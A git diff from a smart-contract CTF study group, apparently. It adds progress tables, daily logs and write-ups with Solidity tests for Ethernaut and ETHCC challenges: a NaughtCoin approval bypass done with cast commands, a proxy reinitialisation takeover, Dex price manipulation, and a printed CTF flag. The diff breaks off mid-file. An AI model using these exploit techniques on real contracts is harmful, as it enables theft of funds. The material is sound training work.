✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | whistleH | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ⭕️ | ❌ | | | | | | | | | | | HappyDog | ✅ | ✅ | ⭕️ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ⭕️ | ❌ | | | | | | | | | | | | | | | | -| YuanboXie | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | -| Sandy | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | +| YuanboXie | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | +| Sandy | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | hotbroker | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | kokawa11 | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | | | | | sp | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | lululualu | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | | | | | AaronChou | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | | | | -| mystiz | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | | | -| freepavel | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | | | +| mystiz | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | | +| freepavel | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | | | WealthDreamer | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | | | | -| elvin | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | +| elvin | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | wangtl175 | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ✅ | ⭕️ | ❌ | | | | Jerome | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | -| nghdavid | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | | | -| Tanner | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ✅ | ⭕️ | ✅ | ✅ | | | +| nghdavid | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | | +| Tanner | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ✅ | ⭕️ | ✅ | ✅ | ✅ | | | wangwu | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ❌ | | | | | billh | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | ✅ | ✅ | ✅ | ⭕️ | ⭕️ | ✅ | ❌ | | | | | | | | | | | | Hzw236 | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | | | @@ -228,8 +228,8 @@ https://github.com/fiveoutofnine/tardis | WangHallO | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | | | | | cz | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | chinggg | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ⭕️ | ✅ | ❌ | | | | | | | | | | | | | | | | | | -| stamp9 | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ⭕️ | | | -| Ray | ⭕️ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | +| stamp9 | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ⭕️ | ❌ | | +| Ray | ⭕️ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | ✅ | | | Joy | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | wiasliaw | ✅ | ✅ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ✅ | ✅ | ⭕️ | ✅ | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | shomis | ⭕️ | ⭕️ | ❌ | | | | | | | | | | | | | | | | | | | | | | | @@ -1488,6 +1488,41 @@ https://github.com/fiveoutofnine/tardis + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/Ronas.md b/Ronas.md index ebb4d31a..f2b6d1f0 100644 --- a/Ronas.md +++ b/Ronas.md @@ -105,4 +105,12 @@ timezone: Asia/Taipei - [A. Ethernaut CTF - level 23 Dex2](/Writeup/Ronas/Ethernaut%20CTF/level23.md) +### 2024.09.20 + +- 請假 + +### 2024.09.21 + +- 參加 Blaz CTF + diff --git a/Sandy.md b/Sandy.md index 08710bcf..8c704c6d 100644 --- a/Sandy.md +++ b/Sandy.md @@ -85,4 +85,10 @@ timezone: Asia/Taipei 完成題數:28 今天解Ethernaut CTF 2024 SpaceBank + +### 2024.09.21 +完成題數:29 + +今天解Ethernaut CTF 2024 Start.exe +Ethernaut-Dex 寫到一半 diff --git a/Tanner.md b/Tanner.md index c3a712e9..9ac82bda 100644 --- a/Tanner.md +++ b/Tanner.md @@ -174,4 +174,11 @@ timezone: Asia/Taipei - [POC](./Writeup/Tanner/test/QuillCTF/CollatzPuzzle.t.sol) +### 2024.09.21 + +學習內容: + +- Working on BlazCTF + + diff --git a/Writeup/0xNezha/Ethernaut/15_NaughtCoin.md "b/Writeup/0xNezha/Ethernaut/15_NaughtCoin - \345\211\257\346\234\254.md" similarity index 100% rename from Writeup/0xNezha/Ethernaut/15_NaughtCoin.md rename to "Writeup/0xNezha/Ethernaut/15_NaughtCoin - \345\211\257\346\234\254.md" diff --git a/Writeup/0xNezha/Ethernaut/17_Recovery.md b/Writeup/0xNezha/Ethernaut/17_Recovery.md new file mode 100644 index 00000000..f72fac29 --- /dev/null +++ b/Writeup/0xNezha/Ethernaut/17_Recovery.md @@ -0,0 +1,14 @@ +### 第15关:NaughtCoin + +这一关主要考察 ERC20 的 ABI,该代币的持有者无法直接转账,必须等锁定期过了才能转。但如果把全部额度授权给第三人,则第三人可以把代币全部提走。 + +1.攻击者把代币授权给第三人 +```shell +cast send 0x目标代币地址 "approve(address _spender, uint256 _value)" 0x第三人的地址 代币的数量 --rpc-url=https://blastapi.io --private-key=攻击者的私钥 + ``` +2.第三人把代币转移走 +```shell +cast send 0x目标代币地址 "transferFrom(address _from, address _to, uint256 _value)" 0x攻击者的地址 0x第三人的地址 代币的数量 --rpc-url=https://blastapi.io --private-key=第三人的私钥 + ``` + + 点击 Submit Instance, 过关。 diff --git a/Writeup/KeShin/A-Ethernaut CTF/31-Stake/foundry.toml b/Writeup/KeShin/A-Ethernaut CTF/31-Stake/foundry.toml index 25b918f9..226b9512 100644 --- a/Writeup/KeShin/A-Ethernaut CTF/31-Stake/foundry.toml +++ b/Writeup/KeShin/A-Ethernaut CTF/31-Stake/foundry.toml @@ -2,5 +2,5 @@ src = "src" out = "out" libs = ["lib"] - +evm_version = "Shanghai" # See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options diff --git a/Writeup/KeShin/A-Ethernaut CTF/31-Stake/src/Stake.sol b/Writeup/KeShin/A-Ethernaut CTF/31-Stake/src/Stake.sol index 54d1b679..4f3102e0 100644 --- a/Writeup/KeShin/A-Ethernaut CTF/31-Stake/src/Stake.sol +++ b/Writeup/KeShin/A-Ethernaut CTF/31-Stake/src/Stake.sol @@ -24,7 +24,7 @@ contract Stake { require(bytesToUint(allowance) >= amount,"How am I moving the funds honey?"); totalStaked += amount; UserStake[msg.sender] += amount; - (bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount)); + (bool transfered, ) = WETH.call(abi.encodeWithSelector(0x23b872dd, msg.sender,address(this),amount)); // transfer from Stakers[msg.sender] = true; return transfered; } diff --git a/Writeup/KeShin/A-Ethernaut CTF/31-Stake/test/Stake.t.sol b/Writeup/KeShin/A-Ethernaut CTF/31-Stake/test/Stake.t.sol index 9be5fcfa..973dbf2e 100644 --- a/Writeup/KeShin/A-Ethernaut CTF/31-Stake/test/Stake.t.sol +++ b/Writeup/KeShin/A-Ethernaut CTF/31-Stake/test/Stake.t.sol @@ -7,10 +7,51 @@ import {Stake} from "../src/Stake.sol"; contract StakeTest is Test { function setUp() public { + vm.createSelectFork("https://ethereum-sepolia-rpc.publicnode.com", 6733964); } - function test_Increment() public { - counter.increment(); - assertEq(counter.number(), 1); + function test_Stake() public { + Stake stake = Stake(0x8F9457389FD5f54CDAeb59FA053261A3428F698B); + + console.log("totalStaked : ", stake.totalStaked()); // 0 + + console.log("ca eth balance : ", payable(address(stake)).balance); // 0 + + address weth = 0xCd8AF4A0F29cF7966C051542905F66F5dca9052f; + + address userA = 0xA6270E61a6485f649f7E18b6e9eBF4d1d184D69d; + address userB = 0x9b20948606A59671C2019Bad4085AA0f8bC7860F; + + vm.startPrank(userA); + + payable(userB).transfer(0.1 ether); + + stake.StakeETH{value : 0.01 ether}(); + + stake.Unstake(0.01 ether); + + vm.stopPrank(); + + vm.startPrank(userB); + + stake.StakeETH{value : 0.01 ether}(); + + (bool success, bytes memory data) = weth.call{value: 0.01 ether}(abi.encodeWithSignature("deposit()", "")); + + (bool success1, bytes memory data1) = weth.call(abi.encodeWithSignature("approve(address, uint256)", address(stake), uint256(0.5 ether))); + + (bool success2, bytes memory data2) = weth.call(abi.encodeWithSignature("balanceOf(address)", userB)); + + console.log("userB weth balance : ", bytesToUint(data2)); + + stake.StakeWETH(0.01 ether); + + console.log("totalStaked : ", stake.totalStaked()); + + console.log("ca eth balance : ", payable(address(stake)).balance); + + console.log("user is staker : ", stake.Stakers(userA)); + + console.log("user stake balance : ", stake.UserStake(userA)); } } diff --git a/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/.gitignore b/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/.gitignore new file mode 100644 index 00000000..85198aaa --- /dev/null +++ b/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/.gitignore @@ -0,0 +1,14 @@ +# Compiler files +cache/ +out/ + +# Ignores development broadcast logs +!/broadcast +/broadcast/*/31337/ +/broadcast/**/dry-run/ + +# Docs +docs/ + +# Dotenv file +.env diff --git a/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/README.md b/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/README.md new file mode 100644 index 00000000..9265b455 --- /dev/null +++ b/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/README.md @@ -0,0 +1,66 @@ +## Foundry + +**Foundry is a blazing fast, portable and modular toolkit for Ethereum application development written in Rust.** + +Foundry consists of: + +- **Forge**: Ethereum testing framework (like Truffle, Hardhat and DappTools). +- **Cast**: Swiss army knife for interacting with EVM smart contracts, sending transactions and getting chain data. +- **Anvil**: Local Ethereum node, akin to Ganache, Hardhat Network. +- **Chisel**: Fast, utilitarian, and verbose solidity REPL. + +## Documentation + +https://book.getfoundry.sh/ + +## Usage + +### Build + +```shell +$ forge build +``` + +### Test + +```shell +$ forge test +``` + +### Format + +```shell +$ forge fmt +``` + +### Gas Snapshots + +```shell +$ forge snapshot +``` + +### Anvil + +```shell +$ anvil +``` + +### Deploy + +```shell +$ forge script script/Counter.s.sol:CounterScript --rpc-url --private-key +``` + +### Cast + +```shell +$ cast +``` + +### Help + +```shell +$ forge --help +$ anvil --help +$ cast --help +``` diff --git a/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/foundry.toml b/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/foundry.toml new file mode 100644 index 00000000..25b918f9 --- /dev/null +++ b/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/foundry.toml @@ -0,0 +1,6 @@ +[profile.default] +src = "src" +out = "out" +libs = ["lib"] + +# See more config options https://github.com/foundry-rs/foundry/blob/master/crates/config/README.md#all-options diff --git a/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/script/Counter.s.sol b/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/script/Counter.s.sol new file mode 100644 index 00000000..df9ee8b0 --- /dev/null +++ b/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/script/Counter.s.sol @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import {Script, console} from "forge-std/Script.sol"; + +contract CounterScript is Script { + function setUp() public {} + + function run() public { + vm.broadcast(); + } +} diff --git a/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/src/DasProxy.sol b/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/src/DasProxy.sol new file mode 100644 index 00000000..c326b36f --- /dev/null +++ b/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/src/DasProxy.sol @@ -0,0 +1,12 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import "openzeppelin-contracts/contracts/proxy/ERC1967/ERC1967Proxy.sol"; + +// code borrowed from repo with proxies & tests implemented in forge https://github.com/FredCoen/Proxy_implementations_with_forge + +contract DasProxy is ERC1967Proxy { + constructor(address _implementation, bytes memory _data) + ERC1967Proxy(_implementation, _data) + {} +} \ No newline at end of file diff --git a/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/src/Impl.sol b/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/src/Impl.sol new file mode 100644 index 00000000..3dfbe6e4 --- /dev/null +++ b/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/src/Impl.sol @@ -0,0 +1,56 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import "openzeppelin-contracts/contracts/proxy/utils/UUPSUpgradeable.sol"; +import "openzeppelin-contracts/contracts/access/Ownable.sol"; + +contract Impl is UUPSUpgradeable, Ownable { + mapping(address => uint256) public balances; + mapping(address => uint256) public withdrawals; + mapping(address => bool) public whitelistedUsers; + + constructor() Ownable(msg.sender) {} + + function initialize(address owner) public payable { + require(owner == address(0), "!initialize"); + owner = _msgSender(); + require(msg.value >= 0.1 ether, "!ether"); + balances[_msgSender()] += msg.value; + _transferOwnership(owner); + } + + function deposit() public payable { + require(whitelistedUsers[_msgSender()], "!whitelisted"); + balances[_msgSender()] += msg.value; + } + + function withdraw(uint256 amount) public { + address sender = _msgSender(); + require(whitelistedUsers[sender], "!whitelisted"); + require(balances[sender] >= amount, "!balance"); + balances[sender] -= amount; + payable(sender).transfer(amount); + withdrawals[sender] += amount; + } + + function getBalance() public view returns (uint256) { + return balances[_msgSender()]; + } + + function getWithdrawals() public view returns (uint256) { + return withdrawals[_msgSender()]; + } + + function whitelistUser(address user) public onlyOwner { + whitelistedUsers[user] = true; + } + + function removeUser(address user) public onlyOwner { + whitelistedUsers[user] = false; + } + + function _authorizeUpgrade(address) internal override onlyOwner { + require(withdrawals[_msgSender()] > 1, "!withdraw"); + require(whitelistedUsers[_msgSender()], "!whitelisted"); + } +} \ No newline at end of file diff --git a/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/test/Proxy.t.sol b/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/test/Proxy.t.sol new file mode 100644 index 00000000..92aba940 --- /dev/null +++ b/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/test/Proxy.t.sol @@ -0,0 +1,119 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import "forge-std/Test.sol"; + +import {DasProxy} from "../src/DasProxy.sol"; +import {Impl} from "../src/Impl.sol"; +import {TakeOwnership} from "./TakeOwnership.sol"; + +contract ProxyTest is Test { + DasProxy public proxy; + Impl public impl; + + address public user = address(123); + address public attacker = address(456); + + function setUp() public { + vm.prank(user); + impl = new Impl(); + vm.prank(user); + proxy = new DasProxy(address(impl), ""); + deal(user, 1 ether); + deal(address(this), 1 ether); + deal(attacker, 1 ether); + } + + function testProxyIsNotInitialized() public { + (bool validResponse, bytes memory returnedData) = address(proxy).call( + abi.encodeWithSignature("owner()") + ); + assertTrue(validResponse); + address owner = abi.decode(returnedData, (address)); + + assertEq(owner, address(0), "!owner"); + assertEq(impl.owner(), user, "!owner"); + } + + function testTaskFlow() public { + (bool validResponse, bytes memory returnedData) = address(proxy).call{value: 0.1 ether}( + abi.encodeWithSignature("initialize(address)", address(0)) + ); + assertTrue(validResponse); + (validResponse, returnedData) = address(proxy).call( + abi.encodeWithSignature("owner()") + ); + assertTrue(validResponse); + address owner = abi.decode(returnedData, (address)); + assertEq(owner, address(this)); + + // attacker can call initialize + vm.prank(attacker); + (validResponse, returnedData) = address(proxy).call{value: 0.1 ether}( + abi.encodeWithSignature("initialize(address)", address(0)) + ); + assertTrue(validResponse); + (validResponse, returnedData) = address(proxy).call( + abi.encodeWithSignature("owner()") + ); + assertTrue(validResponse); + owner = abi.decode(returnedData, (address)); + assertEq(owner, attacker); + + // attacker can call upgrade + vm.prank(attacker); + TakeOwnership takeOwnership = new TakeOwnership(); + + // cannot update without withdrawing funds + vm.prank(attacker); + vm.expectRevert(bytes("!withdraw")); + (validResponse, returnedData) = address(proxy).call( + abi.encodeWithSignature("upgradeTo(address)", address(takeOwnership)) + ); + + // cannot update without whitelisting + vm.prank(attacker); + vm.expectRevert(bytes("!whitelisted")); + (validResponse, returnedData) = address(proxy).call( + abi.encodeWithSignature("upgradeTo(address)", address(0)) + ); + + // whitelist owner + vm.prank(attacker); + (validResponse, returnedData) = address(proxy).call( + abi.encodeWithSignature("whitelistUser(address)", attacker) + ); + + // cannot update without withdrawing funds + vm.prank(attacker); + (validResponse, returnedData) = address(proxy).call( + abi.encodeWithSignature("withdraw(uint256)", 2) + ); + + // upgrade proxy + vm.prank(attacker); + (validResponse, returnedData) = address(proxy).call( + abi.encodeWithSignature("upgradeTo(address)", address(takeOwnership)) + ); + assertTrue(validResponse); + + // cannot initalize + (validResponse, returnedData) = address(proxy).call( + abi.encodeWithSignature("initialize(address)", address(0)) + ); + assertFalse(validResponse); + (validResponse, returnedData) = address(proxy).call( + abi.encodeWithSignature("owner()") + ); + assertTrue(validResponse); + owner = abi.decode(returnedData, (address)); + // owner is still attacker + assertEq(owner, attacker); + + // cannot upgrade proxy impl + (validResponse, returnedData) = address(proxy).call( + abi.encodeWithSignature("upgradeTo(address)", address(impl)) + ); + assertFalse(validResponse); + } +} \ No newline at end of file diff --git a/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/test/TakeOwnership.sol b/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/test/TakeOwnership.sol new file mode 100644 index 00000000..e73ff8ae --- /dev/null +++ b/Writeup/KeShin/B-ETHCC2023/1-ProxyCapture/test/TakeOwnership.sol @@ -0,0 +1,13 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import "openzeppelin-contracts/contracts/proxy/utils/UUPSUpgradeable.sol"; +import "openzeppelin-contracts/contracts/access/Ownable.sol"; + +contract TakeOwnership is UUPSUpgradeable, Ownable { + + constructor() Ownable(msg.sender) {} + + function _authorizeUpgrade(address) internal override onlyOwner {} + +} \ No newline at end of file diff --git a/Writeup/Ronas/Ethernaut CTF/level24.md b/Writeup/Ronas/Ethernaut CTF/level24.md new file mode 100644 index 00000000..5e179904 --- /dev/null +++ b/Writeup/Ronas/Ethernaut CTF/level24.md @@ -0,0 +1,113 @@ +# Ethernaut CTF Writeup + +## Level 24 Puzzle Wallet + +> 題目: https://ethernaut.openzeppelin.com/level/0x25141B6345378e7558634Cf7c2d9B8670baFA417 + +原始碼: +``` +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; +pragma experimental ABIEncoderV2; + +import "../helpers/UpgradeableProxy-08.sol"; + +contract PuzzleProxy is UpgradeableProxy { + address public pendingAdmin; + address public admin; + + constructor(address _admin, address _implementation, bytes memory _initData) + UpgradeableProxy(_implementation, _initData) + { + admin = _admin; + } + + modifier onlyAdmin() { + require(msg.sender == admin, "Caller is not the admin"); + _; + } + + function proposeNewAdmin(address _newAdmin) external { + pendingAdmin = _newAdmin; + } + + function approveNewAdmin(address _expectedAdmin) external onlyAdmin { + require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin"); + admin = pendingAdmin; + } + + function upgradeTo(address _newImplementation) external onlyAdmin { + _upgradeTo(_newImplementation); + } +} + +contract PuzzleWallet { + address public owner; + uint256 public maxBalance; + mapping(address => bool) public whitelisted; + mapping(address => uint256) public balances; + + function init(uint256 _maxBalance) public { + require(maxBalance == 0, "Already initialized"); + maxBalance = _maxBalance; + owner = msg.sender; + } + + modifier onlyWhitelisted() { + require(whitelisted[msg.sender], "Not whitelisted"); + _; + } + + function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted { + require(address(this).balance == 0, "Contract balance is not 0"); + maxBalance = _maxBalance; + } + + function addToWhitelist(address addr) external { + require(msg.sender == owner, "Not the owner"); + whitelisted[addr] = true; + } + + function deposit() external payable onlyWhitelisted { + require(address(this).balance <= maxBalance, "Max balance reached"); + balances[msg.sender] += msg.value; + } + + function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted { + require(balances[msg.sender] >= value, "Insufficient balance"); + balances[msg.sender] -= value; + (bool success,) = to.call{value: value}(data); + require(success, "Execution failed"); + } + + function multicall(bytes[] calldata data) external payable onlyWhitelisted { + bool depositCalled = false; + for (uint256 i = 0; i < data.length; i++) { + bytes memory _data = data[i]; + bytes4 selector; + assembly { + selector := mload(add(_data, 32)) + } + if (selector == this.deposit.selector) { + require(!depositCalled, "Deposit can only be called once"); + // Protect against reusing msg.value + depositCalled = true; + } + (bool success,) = address(this).delegatecall(data[i]); + require(success, "Error while delegating call"); + } + } +} +``` + +過關條件: + +- TODO + +解法: + +- TODO + +``` + +``` \ No newline at end of file diff --git a/Writeup/Sandy/Ethernaut/Dex.md b/Writeup/Sandy/Ethernaut/Dex.md new file mode 100644 index 00000000..f818cd22 --- /dev/null +++ b/Writeup/Sandy/Ethernaut/Dex.md @@ -0,0 +1,114 @@ +# Dex + +``` + function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) { + return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this))); + } +``` + +* 初始 + +| User | Amount | +| -------- | -------- | +| A | 10 | +| B | 10 | + +| Dex | Amount | +| -------- | -------- | +| A | 100 | +| B | 100 | + +10 x 100/1000 =10 +* userA-10 +* UserB+10 +* DexA+10 +* DexB-10 + +--- +* 第一次交換 + +| User | Amount | +| -------- | -------- | +| A | 0 | +| B | 20 | + +| Dex | Amount | +| -------- | -------- | +| A | 110 | +| B | 90 | + +20 x 110/90 = 24...... + +* userA+24 +* UserB-20 +* DexA-24 +* DexB+20 + + +--- + +* 第二次交換 + +| User | Amount | +| -------- | -------- | +| A | 24 | +| B | 0 | + +| Dex | Amount | +| -------- | -------- | +| A | 86 | +| B | 110 | + +--- + +* 第三次交換 + +| User | Amount | +| -------- | -------- | +| A | 0 | +| B | 30 | + +| Dex | Amount | +| -------- | -------- | +| A | 110 | +| B | 80 | + +--- + +* 第四次交換 + +| User | Amount | +| -------- | -------- | +| A | 41 | +| B | 0 | + +| Dex | Amount | +| -------- | -------- | +| A | 69 | +| B | 110 | + +--- + +* 第五次交換 + +|User | Amount | +| -------- | -------- | +| A | 0 | +| B | 65 | + +| Dex | Amount | +| -------- | -------- | +| A | 110 | +| B | 45 | + +41 x 110/69 =65.... +UserA-41 +UserB+65 +DexA+41 +DexB-65 + +--- + +* 第六次交換 + +User2 手上 tokenB 數量超過 Dex 池子所持有的 tokenB 數量 ->transfer amount exceeds balance diff --git a/Writeup/Sandy/openzeppelin-ctf-2024/Start.s.sol b/Writeup/Sandy/openzeppelin-ctf-2024/Start.s.sol new file mode 100644 index 00000000..532de99f --- /dev/null +++ b/Writeup/Sandy/openzeppelin-ctf-2024/Start.s.sol @@ -0,0 +1,16 @@ +// SPDX-License-Identifier: UNLICENSED +pragma solidity ^0.8.13; + +import "forge-std/Script.sol"; +import {Start} from "src/Start.sol"; + +contract StartScript is Script { + function setUp() public {} + + function run() public { + vm.broadcast(); + Start start = new Start(); + string memory world = start.hello("OZCTF{0N3_G14NT_L3AP_F0R_M4NK1ND}"); + console.log(world); + } +} diff --git a/Writeup/YuanboXie/EthernautCTF-writeup.md b/Writeup/YuanboXie/EthernautCTF-writeup.md index d336b036..0f3668fa 100644 --- a/Writeup/YuanboXie/EthernautCTF-writeup.md +++ b/Writeup/YuanboXie/EthernautCTF-writeup.md @@ -1490,4 +1490,68 @@ contract DexAttack { } ``` 部署攻击合约,然后通过 at address 加载两个token合约,先把token转给攻击合约。然后点击 attack 即可。 -- 这个题我看网上题解好像都是手算然后硬编码的hhh,我感觉我这个POC通用一点。 \ No newline at end of file +- 这个题我看网上题解好像都是手算然后硬编码的hhh,我感觉我这个POC通用一点。 + +# Dex Two +```solidity +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "openzeppelin-contracts-08/token/ERC20/IERC20.sol"; +import "openzeppelin-contracts-08/token/ERC20/ERC20.sol"; +import "openzeppelin-contracts-08/access/Ownable.sol"; + +contract DexTwo is Ownable { + address public token1; + address public token2; + + constructor() {} + + function setTokens(address _token1, address _token2) public onlyOwner { + token1 = _token1; + token2 = _token2; + } + + function add_liquidity(address token_address, uint256 amount) public onlyOwner { + IERC20(token_address).transferFrom(msg.sender, address(this), amount); + } + + function swap(address from, address to, uint256 amount) public { + require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); + uint256 swapAmount = getSwapAmount(from, to, amount); + IERC20(from).transferFrom(msg.sender, address(this), amount); + IERC20(to).approve(address(this), swapAmount); + IERC20(to).transferFrom(address(this), msg.sender, swapAmount); + } + + function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) { + return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this))); + } + + function approve(address spender, uint256 amount) public { + SwappableTokenTwo(token1).approve(msg.sender, spender, amount); + SwappableTokenTwo(token2).approve(msg.sender, spender, amount); + } + + function balanceOf(address token, address account) public view returns (uint256) { + return IERC20(token).balanceOf(account); + } +} + +contract SwappableTokenTwo is ERC20 { + address private _dex; + + constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply) + ERC20(name, 